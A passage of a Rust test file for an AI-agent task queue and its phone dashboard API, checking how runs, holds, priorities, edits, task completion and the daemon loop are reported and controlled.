10157 "a resume does not prove the earlier pass was refunded"
10158 );
10159 assert!(f.edges[1].label.contains("resume the same run"));
10160 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10161 assert_eq!(
10162 f.edges[2].label,
10163 "stalled after a resume, refund unknown \u{2192} queued"
10164 );
10165 assert!(!f.nodes[2].decided, "a stall is not a decision");
10166 assert_eq!(f.nodes[2].note, Some("no verdict"));
10167 }
10168
10169 #[test]
10170 fn flow_single_pass_quota_stall_is_refunded() {
10171 let t = flow_task(&[FA]);
10172 let f = flow_for(
10173 &t,
10174 &[(
10175 FA,
10176 Some(flow_run(RunStatus::Stalled, |s| {
10177 s.quota.push(crate::run::QuotaLoss {
10178 seat: "judge-1".to_owned(),
10179 node: "judge".to_owned(),
10180 at: Timestamp::now(),
10181 reset: None,
10182 })
10183 })),
10184 )],
10185 );
10186 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10187 }
10188
10189 #[test]
10190 fn flow_parked_refunds_and_stall_without_quota_spends() {
10191 let mut t = flow_task(&[FA]);
10192 t.status = TaskStatus::Queued;
10193 let f = flow_for(
10194 &t,
10195 &[(
10196 FA,
10197 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10198 )],
10199 );
10200 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10201 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10202 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10203 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10204 assert!(!f.nodes[1].decided);
10205 }
10206
10207 #[test]
10208 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10209 let t = flow_task(&[FA, FB]);
10210 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10211 assert_eq!(f.nodes[1].note, Some("unreadable"));
10212 assert!(!f.nodes[1].readable);
10213 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10214 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10215 }
10216
10217 #[test]
10218 fn flow_names_the_branch_of_a_review_only_run() {
10219 let t = flow_task(&[FA]);
10220 let f = flow_for(
10221 &t,
10222 &[(
10223 FA,
10224 Some(flow_run(RunStatus::Merged, |s| {
10225 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10226 })),
10227 )],
10228 );
10229 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10230 assert_eq!(
10231 f.nodes[1].detail.as_deref(),
10232 Some("review-only run of branch magi/x/A")
10233 );
10234 }
10235
10236 #[test]
10237 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10238 let mut t = flow_task(&[FA]);
10239 t.status = TaskStatus::Held;
10240 let pr = crate::run::PrRecord {
10241 url: "https://example.test/pr/1".to_owned(),
10242 number: 1,
10243 state: "open".to_owned(),
10244 checks: "green".to_owned(),
10245 round: 0,
10246 rounds: 3,
10247 red_at_merge: Vec::new(),
10248 };
10249 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10250 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10251 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10252 t.status = TaskStatus::Done;
10253 let f = flow_for(&t, &[(FA, Some(blocked))]);
10254 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10255 }
10256
10257 #[test]
10258 fn flow_with_no_runs_goes_from_queued_to_queued() {
10259 let t = flow_task(&[]);
10260 let f = flow_for(&t, &[]);
10261 assert_eq!(f.nodes.len(), 2);
10262 assert_eq!(f.edges.len(), 1);
10263 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10264 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10265 }
10266
10267 #[test]
10270 fn a_parked_non_terminal_run_is_explained_as_parked() {
10271 let mut s = RunState::new(
10272 PathBuf::from("/repo/magi"),
10273 "main".to_owned(),
10274 "0123456789abcdef".to_owned(),
10275 "Do it".to_owned(),
10276 Config::default(),
10277 );
10278 s.status = RunStatus::Implementing;
10279 s.parked = true;
10280 let task = Task::new(
10281 "t".to_owned(),
10282 "Do it".to_owned(),
10283 PathBuf::from("/repo/magi"),
10284 Source::Human,
10285 );
10286 let v = task_run_view(
10287 "20260902-140501-aaaa",
10288 Some(&s),
10289 RunSlot {
10290 n: 1,
10291 resumed: false,
10292 resumed_later: None,
10293 prior: None,
10294 last: true,
10295 },
10296 &task,
10297 );
10298 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10299 }
10300
10301 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10302 let mut s = flow_run(RunStatus::Implementing, edit);
10303 s.parked = false;
10304 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10305 task_run_view(
10306 "20260902-140501-aaaa",
10307 Some(&s),
10308 RunSlot {
10309 n: 1,
10310 resumed: false,
10311 resumed_later: Some(2),
10312 prior: None,
10313 last: false,
10314 },
10315 &task,
10316 )
10317 }
10318
10319 #[test]
10320 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10321 let v = earlier_pass_view(|_| {});
10322 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10323 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10324 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10325 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10326 assert_eq!(v.exit, RunExit::Interrupted);
10327 assert_eq!(v.attempt, AttemptCost::Unknown);
10328 }
10329
10330 #[test]
10331 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10332 let v = earlier_pass_view(|s| {
10333 s.quota.push(crate::run::QuotaLoss {
10334 seat: "judge-1".to_owned(),
10335 node: "judge".to_owned(),
10336 at: Timestamp::now(),
10337 reset: None,
10338 });
10339 });
10340 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10341 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10342 assert_eq!(v.attempt, AttemptCost::Unknown);
10343 }
10344
10345 #[test]
10346 fn the_current_pass_states_its_recorded_cause_and_cost() {
10347 let slot = || RunSlot {
10348 n: 1,
10349 resumed: false,
10350 resumed_later: None,
10351 prior: None,
10352 last: true,
10353 };
10354 let task = flow_task(&["20260902-140501-aaaa"]);
10355 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10356 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10357 assert_eq!(
10358 (v.exit, v.attempt),
10359 (RunExit::Parked, AttemptCost::Refunded)
10360 );
10361 let spent = flow_run(RunStatus::Blocked, |_| {});
10362 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10363 assert_eq!(v.attempt, AttemptCost::Spent);
10364 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10365 }
10366
10367 #[tokio::test]
10368 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10369 let f = Fixture::start().await;
10370 let queue = f.queue();
10371 let mut task = Task::new(
10372 "spent".to_owned(),
10373 "Try again".to_owned(),
10374 PathBuf::from("/repo/magi"),
10375 Source::Human,
10376 );
10377 task.start("20260902-140502-bbbb".to_owned());
10378 task.fail("agent gave up", 9);
10379 queue.put(&mut task).expect("file the task");
10380
10381 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10382 assert_eq!(held.status, 200);
10383 assert_eq!(held.json()["status_str"], "held");
10384
10385 let released = f
10386 .post(&format!("/api/queue/{}/release", task.id), None)
10387 .await;
10388 assert_eq!(released.status, 200);
10389 assert_eq!(released.json()["status_str"], "queued");
10390 assert_eq!(
10391 released.json()["attempts"],
10392 0,
10393 "release is a real second chance, not an instant re-hold"
10394 );
10395 assert_eq!(
10396 queue.get(&task.id).expect("reload").status,
10397 TaskStatus::Queued,
10398 "the change is on disk, not only in the reply"
10399 );
10400 assert!(
10401 !f.home
10402 .path()
10403 .join("queue")
10404 .join(format!("{}.lock", task.id))
10405 .exists(),
10406 "the claim the mutation took is released again"
10407 );
10408 }
10409
10410 #[tokio::test]
10411 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10412 let f = Fixture::start().await;
10413 let queue = f.queue();
10414 let mut task = Task::new(
10415 "busy".to_owned(),
10416 "Running right now".to_owned(),
10417 PathBuf::from("/repo/magi"),
10418 Source::Human,
10419 );
10420 queue.put(&mut task).expect("file the task");
10421 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10422
10423 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10424
10425 assert_eq!(res.status, 409);
10426 assert_eq!(
10427 queue.get(&task.id).expect("reload").status,
10428 TaskStatus::Queued,
10429 "the refused hold changed nothing"
10430 );
10431 }
10432
10433 #[tokio::test]
10434 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10435 let f = Fixture::start().await;
10436 let queue = f.queue();
10437 let mut task = Task::new(
10438 "waiting on the migration".to_owned(),
10439 "Do the thing".to_owned(),
10440 PathBuf::from("/repo/magi"),
10441 Source::Human,
10442 );
10443 queue.put(&mut task).expect("file the task");
10444
10445 let held = f
10446 .post(
10447 &format!("/api/queue/{}/hold", task.id),
10448 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10449 )
10450 .await;
10451 assert_eq!(held.status, 200, "{}", held.body);
10452 assert_eq!(held.json()["status_str"], "held");
10453 assert_eq!(
10454 held.json()["hold_reason"],
10455 "waiting for 20260101-000000-aaaa to land"
10456 );
10457
10458 let listed = f.get("/api/queue").await.json();
10459 assert_eq!(
10460 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10461 "the card reads the reason off the same list route"
10462 );
10463
10464 let mut plain = Task::new(
10467 "no reason given".to_owned(),
10468 "Do another thing".to_owned(),
10469 PathBuf::from("/repo/magi"),
10470 Source::Human,
10471 );
10472 queue.put(&mut plain).expect("file the task");
10473 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10474 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10475 assert!(held_plain.json()["hold_reason"].is_null());
10476
10477 let released = f
10478 .post(&format!("/api/queue/{}/release", task.id), None)
10479 .await;
10480 assert_eq!(released.status, 200);
10481 assert!(
10482 released.json()["hold_reason"].is_null(),
10483 "a release must clear the reason so the next hold does not inherit it"
10484 );
10485 }
10486
10487 #[tokio::test]
10488 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10489 let f = Fixture::start().await;
10490 let queue = f.queue();
10491 let mut older = Task::new(
10492 "filed first".to_owned(),
10493 "x".to_owned(),
10494 PathBuf::from("/repo/magi"),
10495 Source::Human,
10496 );
10497 older.id = "20260101-000001-aaaa".to_owned();
10498 let mut newer = Task::new(
10499 "filed second".to_owned(),
10500 "x".to_owned(),
10501 PathBuf::from("/repo/magi"),
10502 Source::Human,
10503 );
10504 newer.id = "20260101-000002-bbbb".to_owned();
10505 queue.put(&mut older).expect("file older");
10506 queue.put(&mut newer).expect("file newer");
10507
10508 let before = f.get("/api/queue").await.json();
10511 assert_eq!(before[0]["id"], newer.id);
10512 assert_eq!(before[1]["id"], older.id);
10513
10514 let raised = f
10518 .post(
10519 &format!("/api/queue/{}/priority", older.id),
10520 Some(r#"{"priority":10}"#),
10521 )
10522 .await;
10523 assert_eq!(raised.status, 200, "{}", raised.body);
10524 assert_eq!(raised.json()["priority"], 10);
10525
10526 let after = f.get("/api/queue").await.json();
10527 let names: Vec<&str> = after
10528 .as_array()
10529 .unwrap()
10530 .iter()
10531 .map(|t| t["id"].as_str().unwrap())
10532 .collect();
10533 assert_eq!(names[0], older.id, "the raised task now sorts first");
10537 }
10538
10539 #[tokio::test]
10540 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10541 let f = Fixture::start().await;
10542 let queue = f.queue();
10543 let mut task = Task::new(
10544 "in flight".to_owned(),
10545 "x".to_owned(),
10546 PathBuf::from("/repo/magi"),
10547 Source::Human,
10548 );
10549 task.start("20260902-140502-bbbb".to_owned());
10550 queue.put(&mut task).expect("file the task");
10551
10552 let res = f
10553 .post(
10554 &format!("/api/queue/{}/priority", task.id),
10555 Some(r#"{"priority":9}"#),
10556 )
10557 .await;
10558 assert_eq!(res.status, 400, "{}", res.body);
10559 assert!(
10560 res.json()["error"]
10561 .as_str()
10562 .is_some_and(|e| e.contains("running")),
10563 "{}",
10564 res.body
10565 );
10566 assert_eq!(
10567 queue.get(&task.id).expect("reload").priority,
10568 0,
10569 "the refused write must not partially apply"
10570 );
10571 }
10572
10573 #[tokio::test]
10574 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10575 let f = Fixture::start().await;
10576 let queue = f.queue();
10577 let mut task = Task::new(
10578 "old title".to_owned(),
10579 "old instruction".to_owned(),
10580 PathBuf::from("/repo/magi"),
10581 Source::Agent {
10582 run: "20260101-000000-beef".to_owned(),
10583 node: "implement".to_owned(),
10584 },
10585 );
10586 task.runs.push("20260101-000000-beef".to_owned());
10587 queue.put(&mut task).expect("file the task");
10588 let created_at = task.created_at;
10589
10590 let edited = f
10591 .post(
10592 &format!("/api/queue/{}/edit", task.id),
10593 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10594 )
10595 .await;
10596 assert_eq!(edited.status, 200, "{}", edited.body);
10597 let body = edited.json();
10598 assert_eq!(body["title"], "new title");
10599 assert_eq!(body["instruction"], "new instruction");
10600 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10601 assert_eq!(body["created_at"], created_at.to_string());
10602 assert_eq!(
10603 body["source"]["kind"], "agent",
10604 "editing a task an agent filed must not turn it human: {body}"
10605 );
10606 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10607
10608 let reloaded = queue.get(&task.id).expect("reload");
10609 assert_eq!(reloaded.title, "new title");
10610 assert_eq!(reloaded.instruction, "new instruction");
10611 }
10612
10613 #[tokio::test]
10614 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10615 let tmp = TempDir::new().expect("tempdir");
10618 let repo = tmp.path().join("repo");
10619 std::fs::create_dir_all(&repo).expect("repo dir");
10620 let judge = MOCK_AGENT_TOML.replace(
10621 "printf ok",
10622 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10623 );
10624 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10625 let f = Fixture::with_repo(repo.clone()).await;
10626 let queue = f.queue();
10627 let mut owner = Task::new(
10628 "owner".to_owned(),
10629 "review it".to_owned(),
10630 repo.clone(),
10631 Source::Human,
10632 );
10633 owner.review_branch = Some("magi/ab12/A".to_owned());
10634 queue.put(&mut owner).expect("file the owner");
10635 let mut task = Task::new(
10636 "draft".to_owned(),
10637 "old".to_owned(),
10638 repo.clone(),
10639 Source::Human,
10640 );
10641 queue.put(&mut task).expect("file the draft");
10642 let url = format!("/api/queue/{}/edit", task.id);
10643
10644 let refused = f
10645 .post(
10646 &url,
10647 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10648 )
10649 .await;
10650 assert_eq!(refused.status, 409, "{}", refused.body);
10651 let msg = refused.json()["error"]
10652 .as_str()
10653 .unwrap_or_default()
10654 .to_owned();
10655 assert!(
10656 msg.contains("magi/ab12/A") && msg.contains("force"),
10657 "{msg}"
10658 );
10659 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10660
10661 let forced = f
10662 .post(
10663 &url,
10664 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10665 )
10666 .await;
10667 assert_eq!(forced.status, 200, "{}", forced.body);
10668 }
10669
10670 #[tokio::test]
10671 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10672 let f = Fixture::start().await;
10673 let queue = f.queue();
10674 let mut task = Task::new(
10675 "in flight".to_owned(),
10676 "do not touch".to_owned(),
10677 PathBuf::from("/repo/magi"),
10678 Source::Human,
10679 );
10680 task.start("20260902-140502-bbbb".to_owned());
10681 queue.put(&mut task).expect("file the task");
10682
10683 let res = f
10684 .post(
10685 &format!("/api/queue/{}/edit", task.id),
10686 Some(r#"{"title":"x","instruction":"y"}"#),
10687 )
10688 .await;
10689 assert_eq!(res.status, 400, "{}", res.body);
10690 assert!(
10691 res.json()["error"]
10692 .as_str()
10693 .is_some_and(|e| e.contains("running")),
10694 "{}",
10695 res.body
10696 );
10697 assert_eq!(
10698 queue.get(&task.id).expect("reload").instruction,
10699 "do not touch",
10700 "the refused edit must not change the file"
10701 );
10702 }
10703
10704 #[tokio::test]
10705 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10706 let f = Fixture::start().await;
10707 let queue = f.queue();
10708 let mut task = Task::new(
10709 "busy".to_owned(),
10710 "Running right now".to_owned(),
10711 PathBuf::from("/repo/magi"),
10712 Source::Human,
10713 );
10714 queue.put(&mut task).expect("file the task");
10715 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10716
10717 let priority = f
10718 .post(
10719 &format!("/api/queue/{}/priority", task.id),
10720 Some(r#"{"priority":9}"#),
10721 )
10722 .await;
10723 assert_eq!(priority.status, 409, "{}", priority.body);
10724
10725 let edit = f
10726 .post(
10727 &format!("/api/queue/{}/edit", task.id),
10728 Some(r#"{"title":"x","instruction":"y"}"#),
10729 )
10730 .await;
10731 assert_eq!(edit.status, 409, "{}", edit.body);
10732 }
10733
10734 #[tokio::test]
10735 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10736 let f = Fixture::start().await;
10737 let queue = f.queue();
10738 let mut task = Task::new(
10739 "shipped by hand".to_owned(),
10740 "merged outside the loop".to_owned(),
10741 PathBuf::from("/repo/magi"),
10742 Source::Agent {
10743 run: "20260101-000000-b455".to_owned(),
10744 node: "implement".to_owned(),
10745 },
10746 );
10747 task.runs.push("20260101-000000-b455".to_owned());
10748 task.runs.push("20260101-000000-9af4".to_owned());
10749 queue.put(&mut task).expect("file the task");
10750 let created_at = task.created_at;
10751
10752 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10753 assert_eq!(done.status, 200, "{}", done.body);
10754 assert_eq!(done.json()["status_str"], "done");
10755
10756 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10757 assert_eq!(
10758 reloaded.runs,
10759 ["20260101-000000-b455", "20260101-000000-9af4"]
10760 );
10761 assert_eq!(
10762 reloaded.source,
10763 Source::Agent {
10764 run: "20260101-000000-b455".to_owned(),
10765 node: "implement".to_owned(),
10766 }
10767 );
10768 assert_eq!(reloaded.created_at, created_at);
10769 }
10770
10771 #[tokio::test]
10772 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10773 let f = Fixture::start().await;
10778 let queue = f.queue();
10779 let mut task = Task::new(
10780 "landed while held".to_owned(),
10781 "x".to_owned(),
10782 PathBuf::from("/repo/magi"),
10783 Source::Human,
10784 );
10785 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10786 queue.put(&mut task).expect("file the held task");
10787
10788 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10789 assert_eq!(done.status, 200, "{}", done.body);
10790 assert_eq!(done.json()["status_str"], "done");
10791 assert!(
10792 done.json()["hold_reason"].is_null(),
10793 "a done task cannot still be waiting on something: {}",
10794 done.body
10795 );
10796 }
10797
10798 #[tokio::test]
10799 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10800 let f = Fixture::start().await;
10805 let queue = f.queue();
10806 let runs = f.runs();
10807 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10808 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10812
10813 let mut task = Task::new(
10814 "landed by hand".to_owned(),
10815 "x".to_owned(),
10816 PathBuf::from("/repo/magi"),
10817 Source::Human,
10818 );
10819 task.runs.push("20260101-000000-doa1".to_owned());
10820 task.runs.push("20260101-000000-doa2".to_owned());
10821 queue.put(&mut task).expect("file the task");
10822
10823 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10824 assert_eq!(done.status, 200, "{}", done.body);
10825
10826 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10827 .expect("run still on disk under this fixture's own home");
10828 assert_eq!(
10829 reloaded_run.status,
10830 RunStatus::Superseded,
10831 "closing the task by hand must relabel the earlier blocked attempt exactly \
10832 like the loop's own settle path does"
10833 );
10834 }
10835
10836 #[tokio::test]
10837 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10838 let f = Fixture::start().await;
10843 let queue = f.queue();
10844 let runs = f.runs();
10845 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10846 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10847
10848 let mut task = Task::new(
10849 "closed with nothing actually landed".to_owned(),
10850 "x".to_owned(),
10851 PathBuf::from("/repo/magi"),
10852 Source::Human,
10853 );
10854 task.runs.push("20260101-000000-dob1".to_owned());
10855 task.runs.push("20260101-000000-dob2".to_owned());
10856 queue.put(&mut task).expect("file the task");
10857
10858 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10859 assert_eq!(done.status, 200, "{}", done.body);
10860
10861 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10862 .expect("run still on disk under this fixture's own home");
10863 assert_eq!(
10864 reloaded_run.status,
10865 RunStatus::Blocked,
10866 "the last recorded attempt never landed, so the earlier one must not be \
10867 relabelled as superseded by it"
10868 );
10869 }
10870
10871 #[tokio::test]
10872 async fn unknown_ids_are_json_not_found_on_both_stores() {
10873 let f = Fixture::start().await;
10874
10875 let run = f.get("/api/runs/nosuchrun").await;
10876 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10877
10878 assert_eq!(run.status, 404);
10879 assert_eq!(task.status, 404);
10880 assert!(
10881 run.json()["error"]
10882 .as_str()
10883 .is_some_and(|e| e.contains("run")),
10884 "the error names what was not found: {}",
10885 run.body
10886 );
10887 assert!(
10888 task.json()["error"]
10889 .as_str()
10890 .is_some_and(|e| e.contains("task")),
10891 "the error names what was not found: {}",
10892 task.body
10893 );
10894 }
10895
10896 #[tokio::test]
10897 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10898 let f = Fixture::start().await;
10899
10900 let missing = f.get("/api/health").await.json();
10901 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10902
10903 write_daemon(
10904 f.home.path(),
10905 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10906 );
10907 let stale = f.get("/api/health").await.json();
10908 assert_eq!(
10909 stale["daemon"]["running"], false,
10910 "a minute without a heartbeat is a dead daemon, not a busy one"
10911 );
10912 assert!(
10913 stale["daemon"]["stale_for_secs"]
10914 .as_i64()
10915 .is_some_and(|s| s >= 55),
10916 "staleness is reported so the UI can say how long: {stale}"
10917 );
10918
10919 write_daemon(f.home.path(), Timestamp::now());
10920 let fresh = f.get("/api/health").await.json();
10921 assert_eq!(fresh["daemon"]["running"], true);
10922 assert_eq!(fresh["daemon"]["idle"], false);
10923 assert_eq!(fresh["daemon"]["pid"], 4242);
10924 assert_eq!(fresh["daemon"]["completed"], 7);
10925 assert_eq!(
10926 fresh["daemon"]["current"][0]["task"],
10927 "20260902-140501-aaaa"
10928 );
10929 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10930 }
10931
10932 #[tokio::test]
10933 async fn the_loop_is_not_running_until_something_starts_it() {
10934 let f = Fixture::start().await;
10935
10936 let view = f.get("/api/loop").await.json();
10937 assert_eq!(view["running"], false);
10938 assert_eq!(
10939 view["owned"], false,
10940 "nobody owns a loop that does not exist: {view}"
10941 );
10942 assert_eq!(view["stopping"], false);
10943 assert_eq!(view["last_error"], Value::Null);
10944 assert_eq!(view["daemon"]["running"], false);
10945 assert_eq!(
10946 view["repo"], "/repo/magi",
10947 "the repository a start would use, named before it is started"
10948 );
10949 }
10950
10951 #[tokio::test]
10952 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10953 let f = Fixture::start().await;
10954
10955 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10956 assert_eq!(res.status, 200, "{}", res.body);
10957 let view = res.json();
10958 assert_eq!(view["running"], true);
10959 assert_eq!(
10960 view["owned"], true,
10961 "the loop the UI started is the UI's own to stop: {view}"
10962 );
10963 assert_eq!(
10964 view["merge"],
10965 Value::Null,
10966 "no override was given, so each repository's own config decides"
10967 );
10968
10969 let health = f.get("/api/health").await.json();
10973 assert_eq!(health["loop"]["running"], true, "{health}");
10974 assert_eq!(health["loop"]["owned"], true, "{health}");
10975
10976 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10977 }
10978
10979 #[tokio::test]
10980 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10981 let f = Fixture::start().await;
10982 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10983 assert_eq!(first.status, 200, "{}", first.body);
10984
10985 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10986 assert_eq!(
10987 again.status, 409,
10988 "two loops on one queue race for the same claims: {}",
10989 again.body
10990 );
10991 assert!(
10992 again.json()["error"]
10993 .as_str()
10994 .is_some_and(|e| e.contains("already running the loop")),
10995 "the refusal has to say why: {}",
10996 again.body
10997 );
10998 assert_eq!(
10999 f.get("/api/loop").await.json()["running"],
11000 true,
11001 "and the loop that was already running is untouched by it"
11002 );
11003
11004 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11005 }
11006
11007 #[tokio::test]
11008 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11009 let f = Fixture::start().await;
11010 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11011
11012 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11013 assert_eq!(
11014 res.status, 200,
11015 "the answer must not wait for the loop: a run in flight is tens of \
11016 minutes and the operator is holding a phone: {}",
11017 res.body
11018 );
11019
11020 let view = settled(&f, |v| v["running"] == false).await;
11021 assert_eq!(view["owned"], false);
11022 assert_eq!(
11023 view["stopping"], false,
11024 "a loop that has stopped is not still stopping: {view}"
11025 );
11026 assert_eq!(
11027 view["last_error"],
11028 Value::Null,
11029 "a loop that was asked to stop did not fail: {view}"
11030 );
11031
11032 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11035 assert_eq!(twice.status, 200, "{}", twice.body);
11036 }
11037
11038 #[tokio::test]
11039 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11040 let f = Fixture::start().await;
11041 write_daemon(f.home.path(), Timestamp::now());
11044
11045 let view = f.get("/api/loop").await.json();
11046 assert_eq!(view["running"], false, "not in this process: {view}");
11047 assert_eq!(view["owned"], false, "and not this process's to control");
11048 assert_eq!(
11049 view["daemon"]["running"], true,
11050 "but a loop is alive somewhere, which is what the UI must say"
11051 );
11052 assert_eq!(view["daemon"]["pid"], 4242);
11053
11054 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11055 let res = f.post("/api/loop", Some(body)).await;
11056 assert_eq!(
11057 res.status, 409,
11058 "neither button may pretend to work on someone else's loop: {}",
11059 res.body
11060 );
11061 assert!(
11062 res.json()["error"]
11063 .as_str()
11064 .is_some_and(|e| e.contains("4242")),
11065 "the refusal has to name the process the operator must go to: {}",
11066 res.body
11067 );
11068 }
11069 assert_eq!(
11070 f.get("/api/loop").await.json()["running"],
11071 false,
11072 "and the refusal started nothing"
11073 );
11074 }
11075
11076 #[tokio::test]
11077 async fn a_stale_status_file_is_not_a_foreign_owner() {
11078 let f = Fixture::start().await;
11079 write_daemon(
11080 f.home.path(),
11081 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11082 );
11083
11084 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11085 assert_eq!(
11086 res.status, 200,
11087 "a daemon killed a minute ago must not lock the loop out of its \
11088 own home for good: {}",
11089 res.body
11090 );
11091 assert_eq!(res.json()["running"], true);
11092
11093 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11094 }
11095
11096 #[tokio::test]
11097 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11098 let f = Fixture::start().await;
11099 let before = f.get("/api/health").await.json()["loop_rev"]
11100 .as_u64()
11101 .expect("a loop revision");
11102
11103 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11104
11105 let after = f.get("/api/health").await.json()["loop_rev"]
11106 .as_u64()
11107 .expect("a loop revision");
11108 assert!(
11109 after > before,
11110 "the loop is in-process state, so this counter is the only thing \
11111 that tells a second device the first one started it: {before} -> \
11112 {after}"
11113 );
11114
11115 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11116 }
11117
11118 #[tokio::test]
11119 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11120 let f = Fixture::with_loop(launch_broken).await;
11121
11122 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11123 assert_eq!(
11124 res.status, 200,
11125 "starting it is not the failure: {}",
11126 res.body
11127 );
11128
11129 let view = settled(&f, |v| v["last_error"].is_string()).await;
11130 assert_eq!(
11131 view["running"], false,
11132 "a loop that died must not read as running, or the operator has \
11133 nothing to press: {view}"
11134 );
11135 assert_eq!(view["owned"], false);
11136 assert!(
11137 view["last_error"]
11138 .as_str()
11139 .is_some_and(|e| e.contains("read-only file system")),
11140 "the phone is where a loop that died at 3am is visible: {view}"
11141 );
11142
11143 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11146 assert_eq!(again.status, 200, "{}", again.body);
11147 assert!(
11148 again.json()["last_error"]
11149 .as_str()
11150 .is_none_or(|e| !e.contains("read-only file system")),
11151 "a fresh start does not keep showing why the last one died: {}",
11152 again.body
11153 );
11154 }
11155
